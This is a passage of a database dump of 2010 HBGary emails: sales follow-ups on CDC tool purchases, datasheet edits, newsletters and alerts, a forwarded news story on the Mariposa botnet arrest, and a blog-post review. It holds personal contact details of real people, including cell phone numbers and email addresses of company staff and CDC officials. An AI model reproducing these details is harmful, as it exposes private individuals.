Anne A. Armstrong | VP Advertising Sales – Jennifer Weiss | VP Content – David Rapp | VP Events – Christina Condos1105 MediaPresident/CEO – Neal VitaleCopyright 2010 1105 Media Inc. Federal Computer Week newsletters may only be redistributed in their unedited form. Written permission from the editor must be obtained to reprint the information contained within this newsletter.This message was sent to:&nbsp;tedvera@mac.com',9243,'aaron_hbgary_com/9243.html'),(9209,'2010-07-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007103.M339504P14101Q4064.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Vera Ted\" <ted@hbgary.com>','Untitled Document.pdf','Sent with DocScanner\r\n\r\n\r\n',4789,'aaron_hbgary_com/4789.html'),(9210,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007103.M937402P14101Q4065.eml','\"Barr Aaron\" <aaron@hbgary.com>','COS LAB Address','Front Range Office\r\n103 South Wahsatch Ave.\r\nLL Suite A\r\nColorado Springs, CO 80903\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10315,'aaron_hbgary_com/10315.html'),(9211,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007104.M184297P14101Q4066.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: CSIRC','FYI  -- I just saw this CDC Award announcement for CWSandbox:\r\n\r\nCWSANDBOX SINGLE INSTANCE LICENSE\r\nSolicitation Number: RFQ2010-Q-12310ARRAAgency: Department of Health and Human ServicesOffice: Centers for Disease Control and Prevention\r\nLocation: Procurement and Grants Office (Atlanta)\r\n\r\nPrint\r\n	Link\r\nCopy or Bookmark this PageCopy the url below for a direct link to this page.\r\nBookmark this page by right-clicking here and choosing &quot;Add Link to Bookmarks&quot;\r\n\r\nNotice Details\r\nPackages\r\nInterested Vendors List\r\n\r\n\r\n\r\n\r\nOriginal Synopsis\r\nJul 27, 20101:15 pm\r\n\r\n\r\n\r\nSolicitation Number:\r\nRFQ2010-Q-12310ARRA\r\nNotice Type:\r\nAward Notice\r\nContract Award Date:\r\nJuly 27, 2010\r\nContract Award Number:\r\n200-2010-F-35720\r\nContract Award Dollar Amount:\r\n$12,000\r\nContractor Awarded Name:\r\nSUNBELT SOFTWARE, INC.\r\nContractor Awarded Address:\r\n33 N GARDEN AVENUESUITE 1200CLEARWATER, Florida 33755United States\r\n\r\nSynopsis:\r\n\r\nAdded: Jul 27, 2010 1:15 pmSUNBELT MALWARE ANALYSIS TOOLSQUANTITY 1 EACH\r\nContracting Office Address:\r\n2920 Brandywine Road, Room 3000Atlanta, Georgia 30341-4146 \r\nPrimary Point of Contact.:\r\nGermaine M. Mullins,Contract Specialistgmullins@cdc.gov\r\nPhone: 7704881938On Mon, Jul 26, 2010 at 10:00 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nThey are in procurement and approved purchase for:\r\n \r\n1 Responder Pro with DDNA\r\n10 Responder FE\r\n10 FastDump Pro\r\n \r\nThey have not awarded the contract yet  \r\nOn Thu, Jul 22, 2010 at 8:08 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nMaria, \r\n\r\nSee Carl&#39;s note below.  Have Mike and/or Wally purchased HBGary products?  If so, which products and how many licenses?  \r\n\r\nRegards,\r\nTed\r\n\r\n---------- Forwarded message ----------From: Tegeder, Carl (CDC/OCOO/ITSO) (CTR) &lt;cwa4@cdc.gov&gt;\r\n\r\nDate: Thu, Jul 22, 2010 at 7:39 AMSubject: RE: CSIRCTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\nThey work here; however, I don’t personally know them.\r\n \r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, July 20, 2010 5:53 PM\r\n\r\n\r\nTo: Tegeder, Carl (CDC/OCOO/ITSO) (CTR)Subject: CSIRC \r\n\r\n\r\n \r\n\r\nCarl, \r\n\r\n \r\n\r\nDo you know these CDC CSIRC contacts?  They support all the HHS organizations for Incident Response including the CDC headquarters:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJ. Michael Cox, CISSP\r\n\r\nProject Director\r\n\r\n\r\njmc4@cdc.gov [Error! Filename not specified.Gmail]\r\n\r\n\r\n\r\n(770) 488-8675\r\n\r\n\r\n\r\n\r\nWilhoit, Wally\r\n\r\n \r\n\r\n\r\nwallace.wilhoite@cdc.hhs.gov [Error! Filename not specified.Gmail]\r\n\r\n\r\n\r\n(770) 488-8947\r\n\r\n \r\nTed -- Ted H. VeraPresident | COOHBGary Federal719-237-8623-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',12955,'aaron_hbgary_com/12955.html'),(9212,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007107.M917848P14101Q4067.eml','\"John Verducci\" <john@studioem.com>','Fwd: Untitled Document.pdf','John,\r\n\r\nI think this will do it for now thanks.  Please add the following address as well as change the underlined text to the following...\r\n\r\n\"As well as some technologies.\"\r\n\r\nFront Range Office\r\n103 South Wahsatch Ave.\r\nLL Suite A\r\nColorado Springs, CO 80903\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ted Vera \r\n> Date: July 27, 2010 10:56:34 AM MDT\r\n> To: Barr Aaron , Mark Trynor , Vera Ted \r\n> Subject: Untitled Document.pdf\r\n> \r\n\r\n> Sent with DocScanner\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n',15404,'aaron_hbgary_com/15404.html'),(9213,'2010-07-27','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007108.M682034P14101Q4068.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: CSIRC','they are suppose to also be purchasing (1) Responder Pro but I haven&#39;t seen anythingOn Tue, Jul 27, 2010 at 2:36 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFYI  -- I just saw this CDC Award announcement for CWSandbox:\r\n\r\n\r\nCWSANDBOX SINGLE INSTANCE LICENSE\r\n\r\nSolicitation Number: RFQ2010-Q-12310ARRAAgency: Department of Health and Human ServicesOffice: Centers for Disease Control and Prevention\r\nLocation: Procurement and Grants Office (Atlanta)\r\n\r\n\r\nPrint\r\n\r\n	Link\r\n\r\nCopy or Bookmark this PageCopy the url below for a direct link to this page.\r\n\r\nBookmark this page by right-clicking here and choosing &quot;Add Link to Bookmarks&quot;\r\n\r\n\r\n\r\nNotice Details\r\n\r\nPackages\r\n\r\nInterested Vendors List\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOriginal Synopsis\r\n\r\nJul 27, 20101:15 pm\r\n\r\n\r\n\r\n\r\n\r\nSolicitation Number:\r\nRFQ2010-Q-12310ARRA\r\nNotice Type:\r\nAward Notice\r\nContract Award Date:\r\nJuly 27, 2010\r\nContract Award Number:\r\n200-2010-F-35720\r\nContract Award Dollar Amount:\r\n$12,000\r\nContractor Awarded Name:\r\nSUNBELT SOFTWARE, INC.\r\nContractor Awarded Address:\r\n33 N GARDEN AVENUESUITE 1200CLEARWATER, Florida 33755United States\r\n\r\nSynopsis:\r\n\r\nAdded: Jul 27, 2010 1:15 pmSUNBELT MALWARE ANALYSIS TOOLSQUANTITY 1 EACH\r\nContracting Office Address:\r\n2920 Brandywine Road, Room 3000Atlanta, Georgia 30341-4146 \r\nPrimary Point of Contact.:\r\nGermaine M. Mullins,Contract Specialistgmullins@cdc.gov\r\nPhone: 7704881938On Mon, Jul 26, 2010 at 10:00 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nThey are in procurement and approved purchase for:\r\n \r\n1 Responder Pro with DDNA\r\n10 Responder FE\r\n10 FastDump Pro\r\n \r\nThey have not awarded the contract yet  \r\nOn Thu, Jul 22, 2010 at 8:08 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nMaria, \r\n\r\nSee Carl&#39;s note below.  Have Mike and/or Wally purchased HBGary products?  If so, which products and how many licenses?  \r\n\r\nRegards,\r\nTed\r\n\r\n---------- Forwarded message ----------From: Tegeder, Carl (CDC/OCOO/ITSO) (CTR) &lt;cwa4@cdc.gov&gt;\r\n\r\n\r\nDate: Thu, Jul 22, 2010 at 7:39 AMSubject: RE: CSIRCTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\nThey work here; however, I don’t personally know them.\r\n \r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, July 20, 2010 5:53 PM\r\n\r\n\r\n\r\nTo: Tegeder, Carl (CDC/OCOO/ITSO) (CTR)Subject: CSIRC \r\n\r\n\r\n \r\n\r\nCarl, \r\n\r\n \r\n\r\nDo you know these CDC CSIRC contacts?  They support all the HHS organizations for Incident Response including the CDC headquarters:\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJ. Michael Cox, CISSP\r\n\r\nProject Director\r\n\r\n\r\njmc4@cdc.gov [Error! Filename not specified.Gmail]\r\n\r\n\r\n\r\n\r\n(770) 488-8675\r\n\r\n\r\n\r\n\r\nWilhoit, Wally\r\n\r\n \r\n\r\n\r\nwallace.wilhoite@cdc.hhs.gov [Error! Filename not specified.Gmail]\r\n\r\n\r\n\r\n\r\n(770) 488-8947\r\n\r\n \r\nTed -- Ted H. VeraPresident | COOHBGary Federal719-237-8623-- \r\n\r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',3336,'aaron_hbgary_com/3336.html'),(9214,'2010-07-27','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007108.M992264P14101Q4069.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Clifford Link and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 27, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           21st Century Systems Inc. is seeking experienced staff\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Clifford Link, Vice President, Federal Systems Group  at 21st Century Systems, Inc.\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',9080,'aaron_hbgary_com/9080.html'),(9215,'2010-07-27','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297007113.M763705P14101Q4070.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Untitled Document.pdf','Hi Aaron,\r\n\r\nAttached is the updated datasheet. Take a look and let me know if I  \r\nmissed anything or if you have more changes.\r\n\r\nThanks!\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Jul 27, 2010, at 11:48 AM, Aaron Barr wrote:\r\n\r\n> John,\r\n>\r\n> I think this will do it for now thanks.  Please add the following  \r\n> address as well as change the underlined text to the following...\r\n>\r\n> \"As well as some technologies.\"\r\n>\r\n> Front Range Office\r\n> 103 South Wahsatch Ave.\r\n> LL Suite A\r\n> Colorado Springs, CO 80903\r\n>\r\n> Sent from my iPhone\r\n>\r\n> Begin forwarded message:\r\n>\r\n>> From: Ted Vera \r\n>> Date: July 27, 2010 10:56:34 AM MDT\r\n>> To: Barr Aaron , Mark Trynor ,  \r\n>> Vera Ted \r\n>> Subject: Untitled Document.pdf\r\n>>\r\n>> Sent with DocScanner\r\n>>\r\n>>\r\n> \r\n>>\r\n>>\r\n>>\r\n>>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',5914,'aaron_hbgary_com/5914.html'),(9216,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007114.M522602P14101Q4071.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Google Alert - hbgary','Begin forwarded message:From: Google Alerts &lt;googlealerts-noreply@google.com&gt;\r\nDate: July 27, 2010 12:59:21 PM MDTTo: ted@hbgary.comSubject: Google Alert - hbgary\r\n\r\nNews1 new result for hbgary\r\n Hackers to flock to Black Hat, Defcon this week\r\nCNETIn another talk, titled &quot;Malware Attribution: Tracking Cyber Spies and Digital Criminals,&quot; HBGary Chief Executive Greg Hoglund will be releasing a free ...\r\nTip: Use quotes (&quot;like this&quot;) around a set of words in your query to match them exactly.. Learn more.\r\nRemove this alert.Create another alert.\r\nManage your alerts.\r\n\r\n',2730,'aaron_hbgary_com/2730.html'),(9217,'2010-07-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007114.M841556P14101Q4072.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check out Mobile Active Defense','\r\n\r\n\r\nCheck out this application on the App Store:\r\n\r\n  \r\n    \r\n      \r\n        \r\n      \r\n    \r\n    \r\n      \r\n      Mobile Active Defense\r\n      MAD Partners LLC\r\n      \r\n        Category: Productivity\r\n      \r\n      \r\n      \r\n        Updated: Mar 25, 2010\r\n      \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      iTunes for Mac and Windows\r\n  \r\n  \r\n    \r\n      Please note that you have not been added to any email lists.\r\n        Copyright © 2010 Apple Inc.\r\n	      All rights reserved\r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n',5670,'aaron_hbgary_com/5670.html'),(9218,'2010-07-27','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297007115.M331193P14101Q4074.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Blackhat @ Wed Jul 28 - Thu Jul 29, 2010 (aaron@hbgary.com)',' more details &raquo;BlackhatWhenWed Jul 28 – Thu Jul 29, 2010Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',4393,'aaron_hbgary_com/4393.html'),(9219,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007115.M573673P14101Q4075.eml','\"Barr Aaron\" <aaron@hbgary.com>','Cool ipad stand','I just ordered one:\r\n\r\nhttp://www.twelvesouth.com/products/compass/\r\n\r\nTed\r\n',16861,'aaron_hbgary_com/16861.html'),(9220,'2010-07-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007115.M790103P14101Q4076.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Jezebel: Celebrity, Sex, Fashion for Women. Without Airbrushing.','http://m.jezebel.com/5597934/when-foursquare-gets-creepy?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+gizmodo%2Ffull+%28Gizmodo%29\r\n\r\n\r\n\r\n',9146,'aaron_hbgary_com/9146.html'),(9221,'2010-07-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007115.M98153P14101Q4073.eml','\"Eric Hipkins\" <eric.hipkins@nekasg.com>','Re: HBGary','Hi Eric,Either day works for me, just pick a date/time and I can put it on my calendar.Regards,Ted\r\nOn Mon, Jul 26, 2010 at 2:12 PM, Eric Hipkins &lt;eric.hipkins@nekasg.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nGood afternoon. Just looking at the schedule for August, would either\r\nthe 30th of 31st work for you? I will need to coordinate\r\nwith Bruce’s schedule also but right now the majority of weeks are looking a\r\nbit tough to schedule.\r\n\r\n \r\n\r\nThanks and I look forward to our discussion.\r\n\r\n \r\n\r\nEric\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEric Hipkins\r\n\r\n\r\nDirector\r\n\r\nIntelligence Operations Group\r\nNEK Advanced Securities Group\r\nOffice - 719-266-3926\r\n\r\nCell – 719-433-4408\r\nFax – 719-634-5525\r\nEmail – eric.hipkins@nekasg.com\r\nBlackberry – eric.hipkins@vzw.blackberry.net\r\n\r\n\r\n\r\n\r\nCONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is\r\nfor the sole use of the intended recipient(s) and may contain proprietary\r\ninformation. Any unauthorized review, use, disclosure or distribution is\r\nprohibited. If you are NOT the intended recipient, please contact the sender by\r\nreply e-mail and destroy all copies of the original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Keith Oanes \r\nSent: Tuesday, July 20, 2010 3:05 PM\r\nTo: Ted Vera\r\nCc: Eric Hipkins\r\nSubject: RE: HBGary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nTed,\r\n\r\n               \r\nI appreciate your email and follow up; I have spoken with Bruce and Eric and\r\nthey are making plans to meet with you when Bruce returns from his current\r\nbusiness trip.  Eric Hipkins (cc’d above) will be contacting you for a\r\nmeeting in the Colorado Springs area.  I am currently unavailable to meet\r\nfor the next couple of weeks but Eric is the subject matter expert for this\r\ncapability within NEK.\r\n\r\n               \r\nAs they internally work the details for the meeting, please feel free to\r\ncontact Eric or myself with any questions you may have.  Sorry I could not\r\nrespond earlier but I was hoping to have dates for the meeting before I\r\nresponded.\r\n\r\n               \r\nTake care\r\n\r\n \r\n\r\nV/R\r\n\r\nKeith\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKeith Oanes\r\nDirector, Business Development Group\r\nNEK Advanced Securities Group Inc.\r\n\r\nOffice - 719-634-5523\r\nCell - 208-871-0099\r\nFax - 719-596-6318\r\nEmail - keith.oanes@nekasg.com\r\n\r\n\r\n\r\nCONFIDENTIALITY NOTICE: This e-mail message, including any\r\nattachments, is for the sole use of the intended recipient(s) and may contain\r\nproprietary information. Any unauthorized review, use, disclosure or\r\ndistribution is prohibited. If you are NOT the intended recipient, please\r\ncontact the sender by reply e-mail and destroy all copies of the original\r\nmessage.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 20, 2010 2:59 PM\r\nTo: Keith Oanes\r\nSubject: Re: HBGary\r\n\r\n\r\n\r\n \r\n\r\nHello again Keith, \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust wanted to follow-up to see if there was any interest in\r\nmeeting up.  Are you in town this week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Thu, Jul 15, 2010 at 1:17 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Keith, \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned on the phone, Aaron Barr and Bruce Parkman\r\nmet sometime ago and it sounded like there could be some corporate synergies\r\nbetween our groups.  I was asked to follow up on this since I am located\r\nin Colorado Springs.  HBGary is a small\r\nsoftware development and services company, headquartered in Sacramento, CA.\r\n We specialize in all things related to malware.  Greg Hoglund is\r\nHBGary Inc&#39;s CEO and founded the company in 2003.  Greg is an accomplished\r\nauthor, world recognized leader in rootkit technology and was recently named\r\none of &quot;10 hackers to know&quot; in Network Security magazine.  We\r\noffer a number of Cyber services including malware reverse engineering,\r\nvulnerability research, exploit development, incident response, penetration\r\ntesting, and digital forensics.  We also have a mature product-line of\r\nCOTS which assist in accomplishing those tasks.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find\r\ninteresting.  The first is our analysis of the Aurora attack, the second\r\nis a how-to guide for using our REcon product to develop software exploits, and\r\nthe third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf you&#39;re interested, I&#39;d\r\nlove to have an opportunity to discuss capabilities and Cyber related business\r\ndevelopment opportunities.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',16036,'aaron_hbgary_com/16036.html'),(9222,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007116.M294009P14101Q4078.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>,,','Re: PLEASE READ: Aaron Barr Fingerprint Blogpost','Hi Aaron, Here is the final blogpost. It doesn&#39;t have a title -- do you have one in mind? Thanks again for all your work. Karen\r\nOn Tue, Jul 27, 2010 at 9:09 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\nLooks good.  I think it reads better if you remove the sentence in the last paragraph that starts with For Example...\r\nAaronSent from my iPad\r\nOn Jul 27, 2010, at 10:08 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:&gt; Hi Greg and Aaron, Please review final blogpost on Fingerprint. Greg, please review as well -&gt; I want to be sure the tool&#39;s description is close or matches what we plan to put up on our site tomorrow after your talk. We also need to confirm exact spelling of product: Fingerprint or FingerPrint. I want to be sure HBGary is putting out same message on tool. Aaron, please also give it a final review. Thanks so much for writing it. I think it is very good. Once you have both approved, I will give to Charles to post on our site once our tool is released (after Greg&#39;s talk tomorrow around 12 PM PT).\r\n&gt;&gt; I&#39;d also like to repurpose the blog post to pitch interviews for Aaron for the government pubs.Thank you.&gt;&gt;&gt; &lt;Aaron Barr Fingerprint Tool Blogpost.docx&gt;\r\n\r\n',14425,'aaron_hbgary_com/14425.html'),(9223,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007116.M35636P14101Q4077.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Report: Hacker In Massive Computer Attack Held','Hi Greg and Aaron, Saw this breaking story and thought it might fit into Greg&#39;s talk -- see highlight below. If not, just something to keep in mind.\r\n\r\n\r\n\r\nReport: Hacker In Massive Computer Attack Held\r\nAssociated Press, July 27, 2010 \r\nInternational authorities have arrested a computer hacker believed responsible for creating the malicious computer code that infected as many as 12 million computers, invading major banks and corporations around the world, FBI officials told The Associated Press on Tuesday.\r\n\r\nA 23-year-old Slovenian known as Iserdo was snagged in Maribor, Slovenia, after a lengthy investigation by Slovenian Criminal Police there along with FBI and Spanish authorities.\r\nHis arrest comes about five months after Spanish police broke up the massive cyber scam, arresting three of the alleged ringleaders who operated the so-called Mariposa botnet, stealing credit cards and online banking credentials. \r\n\r\nThe botnet — a network of infected computers — appeared in December 2008 and infected more than half of the Fortune 1,000 companies and at least 40 major banks.\r\nBotnets are networks of infected PCs that have been hijacked from their owners, often without their knowledge, and put into the control of criminals.\r\nJeffrey Troy, the FBI&#39;s deputy assistant director for the cyber division, said Tuesday that Iserdo&#39;s arrest is a major break in the investigation. He said it will take the alleged cyber mastermind off the street and prevent him from updating the malicious software code or somehow regaining control of computers that are still infected.\r\n\r\nOfficials declined to release Iserdo&#39;s real name and the exact charges filed against him, but said the arrest took place about 10 days ago and the man has been released on bond.\r\n&quot;To use an analogy here,&quot; said Troy, &quot;as opposed to arresting the guy who broke into your home, we&#39;ve arrested the guy that gave him the crowbar, the map and the best houses in the neighborhood. And that is a huge break in the investigation of cyber crimes.&quot;\r\n\r\nTroy said more arrests are expected and are likely to extend beyond Spain and Slovenia and include additional operators who allegedly bought the malware from Iserdo. \r\nAuthorities would not say how much Iserdo supposedly charged, but said hackers could buy the software package for a certain amount, or pay more to have it customized or get additional features. \r\nInternet reports suggest the fees ranged from as much as $500 for basic packages to more than $1,300 for more advanced versions.\r\nCyber masterminds behind the biggest botnets aren&#39;t often taken down largely because it is easy for experienced hackers to hide their identities by disguising the source of their Internet traffic. Usually the computer resources they use are stolen. And the investigations are complex and technical, often spanning dozens of countries with conflicting or even non-existing cyber crime laws.\r\n\r\nFor instance, there have been no arrests yet in the spread of the Conficker worm, which infected 3 million to 12 million PCs running Microsoft Corp.&#39;s Windows operating system and caused widespread fear that it could be used as a kind of Internet super weapon.\r\n\r\nThe Conficker botnet is still active, but is closely watched by security researchers. The infected computers have so far been used to make money in ordinary ways, pumping out spam and spreading fake antivirus software.\r\n\r\nThe Mariposa botnet, which has been dismantled, was easily one of the world&#39;s biggest botnets. It spread to more than 190 countries, according to researchers. It also appears to be far more sophisticated than the botnet that was used to hack into Google Inc. and other companies in the attack that led Google to threaten to pull out of China.\r\n\r\nThe researchers that helped take down Mariposa — which is from the Spanish word for &quot;butterfly&quot; — first started looking at it in the spring of 2009.\r\nHackers spread the botnet by using instant-messaging malicious links to contacts on infected computers. They also used removable thumb drives and peer-to-peer networks to spread the botnet.\r\nThe investigation has included federal and international law enforcement as well as a team of more than 100 people, including FBI, members of a specialized botnet investigative team and the so-called Mariposa working group, which includes researchers and private industry experts\r\n\r\n',10618,'aaron_hbgary_com/10618.html'),(9224,'2010-07-28','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007116.M599803P14101Q4079.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,,','Re: PLEASE READ: Aaron Barr Fingerprint Blogpost','Thanks Karen. &nbsp;It looks good.How about.hbgarys fingerprint: a path to attribution?AaronSent from my iPadOn Jul 27, 2010, at 10:18 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:Hi Aaron, Here is the final blogpost. It doesn\'t have a title -- do you have one in mind?&nbsp;Thanks again for all your work. Karen\r\nOn Tue, Jul 27, 2010 at 9:09 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\nLooks good. &nbsp;I think it reads better if you remove the sentence in the last paragraph that starts with For Example...\r\nAaronSent from my iPad\r\nOn Jul 27, 2010, at 10:08 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:&gt; Hi Greg and Aaron, Please review final blogpost on Fingerprint. Greg, please review as well -&gt; I want to be sure the tool\'s description is close or matches what we plan to put up on our site tomorrow after your talk. We also need to confirm exact spelling of product: Fingerprint or FingerPrint. I want to be sure HBGary is putting out same message on tool. Aaron, please also give it a final review. Thanks so much for writing it. I think it is very good. Once you have both approved, I will give to Charles to post on our site once our tool is released (after Greg\'s talk tomorrow around 12 PM PT).\r\n&gt;&gt; I\'d also like to repurpose the blog post to pitch interviews for Aaron for the government pubs.Thank you.&gt;&gt;&gt; &lt;Aaron Barr Fingerprint Tool Blogpost.docx&gt;\r\n\r\n&lt;Aaron Barr Fingerprint Tool Blogpost.docx&gt;',4852,'aaron_hbgary_com/4852.html'),(9225,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007116.M806298P14101Q4080.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>,,','Re: PLEASE READ: Aaron Barr Fingerprint Blogpost','Sounds good -- thanks Aaron. Best, K\r\nOn Tue, Jul 27, 2010 at 10:34 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThanks Karen.  It looks good.\r\n\r\nHow about.\r\n\r\nhbgarys fingerprint: a path to attribution?\r\n\r\n\r\nAaron\r\nSent from my iPad\r\n\r\n\r\n\r\nOn Jul 27, 2010, at 10:18 PM, Karen Burke &lt;karen@hbgary.com&gt; 